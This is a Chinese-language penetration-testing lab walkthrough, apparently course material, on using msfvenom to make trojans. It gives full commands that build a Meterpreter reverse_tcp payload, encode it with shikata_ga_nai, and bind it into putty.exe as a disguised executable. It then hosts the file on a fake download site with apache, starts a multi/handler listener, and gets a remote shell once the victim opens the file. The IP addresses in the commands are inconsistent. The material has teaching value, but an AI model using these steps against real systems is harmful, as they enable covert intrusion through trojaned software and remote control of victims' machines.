E025-渗透测试常用工具-使用msfvenom生成木马进行渗透测试
第一步,打开网络拓扑,点击启动选项,启动实验虚拟机
第二步,使用ifconfig和ipconfig命令分别获取渗透机和靶机的IP地址,使用ping命令进行网络连通性测试,确保网络可达
渗透机ip地址172.16.1.10
靶机ip地址172.16.1.12
第三步,是在使用meterpreter攻击载荷模块之前,需要先制定渗透攻击模块,我们以ms08_067漏洞为例进行渗透测试,在进行实验之前首先使用命令msfvenom –h 来查看msfvenom参数的详解 msfvenom生成payload的常见格式为以下四种类型
简单型:msfvenom –p <payload> <payload options> -f <format> -o <path>
编码处理型:msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path>
注入exe型+编码:msfvenom -p <payload> <payload options> -a <arch> --plateform <platform> -e <encoder option> -i <encoder times> -x <template> -k <keep> -f <format> -o <path>
拼接型:msfvenom -c <shellcode> -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -f <format> -o <path>
其中-o输出的参数可以用“>”号代替,-f指定格式参数可以用单个大写字母代替:
例如:X 代表 -f exe,还有其他的案例:[H]arp、[P]erl、Rub[Y]、[R]aw、[J]s、e[X]e、[D]ll、[V]BA、[W]ar、Pytho[N]
第四步,使用命令msfvenom –l payloads查看msf中所有可用载荷(payload),根据操作系统可分为windows/linux/osx/andriod,根据编程语言可以分为python/php等
下面列出的载荷信息是所有可以使用的攻击载荷
其中最为常见的paylaod为windows平台下的,将近215个
第五步,使用命令msfvenom –l encoders查看一下编码方式,其中excellent级的编码方式共有两个,分别为 cmd/powershell_base64、x86/shikata_ga_nai
第六步,使用命令msfvenom –l nops 来查看nops(空字段)选项 第七步,使用命令msfvenom –-help-platforms查看当前支持的平台
然后使用命令msfvenom –-help-formats来查看可以生产的格式例如:本次使用msfvenom生成简单的木马,使用命令msfvenom-p windows/meterpreter/reverse_tcp LHOST=172.16.1.12 LPORT=8088 -f exe -o payload.exe生产反弹回meterpreter会话的payload
使用命令msfvenom -p windows/meterpreter/reverse_tcp --payload-options来查看其参数 这里需要注意两点:
1,系统架构:
Arch:x86 是指生成的payload只能在32位系统运行
Arch:x86_64 是指模块同时兼容32位操作系统和64位操作系统
Arch:x64 是指生成的payload只能在64位系统运行
注意:有的payload的选项为多个:Arch:x86_64,x64
这里你就需要-a参数选择一个系统架构。
2,同时注意一下:size(大小),rank(等级),exitfunc(退出方法)
这里需要注意的是软件的架构/payload的架构/目标系统的架构三者一定要统一(x86/x86_64/x64),否则会出错。
第八步,下面我们进入实战命令的使用
使用命令msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.1.10
LPORT=8834 -a x86 --platform windows -e x86/shikata_ga_nai -i 3 -x
/root/Desktop /putty.exe -k -f exe -o /tmp/putty_evil.exe生成伪装木马,将payload
注入到putty中,并编码:
-platform windows 指定payload兼容的平台为windows
-a 指定arch文件架构为x86
-p windows/meterpreter/reverse_tcp LHOST=172.16.1.14 LPORT=8834 指定
payload和payload的参数
-x /root/桌面/putty.exe执行要绑定的软件
-k从原始的注文件中分离出来,单独创建一个进程
-f exe指定输出格式
-o/var/www/html/putty.exe指定输出路径
用归档管理器打开,没有出错,说明可以执行:
第九步,我们伪造一个下载站点,将文件putty_evil.exe复制到/var/www/html目录下
使用命令msfconsole启动metasploit渗透测试平台 第九步:使用命令use exploit/multi/handler 启动连接后门程序,然后使用命令show options查看一下模块的基本配置
使用命令set payload windows/meterpreter/reverse_tcp,调用监听模块 使用命令show options查看需要设置的配置信息
使用命令set LHOST 172.16.1.10,set LPORT 8834设置渗透机监听的端口
然后使用命令run –j开启后台监听
第十步,然后使用命令service apache2 start启动apache服务器 然后这里我们直接使用客户端机器打开http://172.16.1.10下载软件putty.exe
将文件保存至桌面
客户端打开putty.exe文件
发现meterpreter中的主机上线 使用命令session –i 切换会话,然后使用命令shell调用windows的shell终端
实验结束,关闭虚拟机。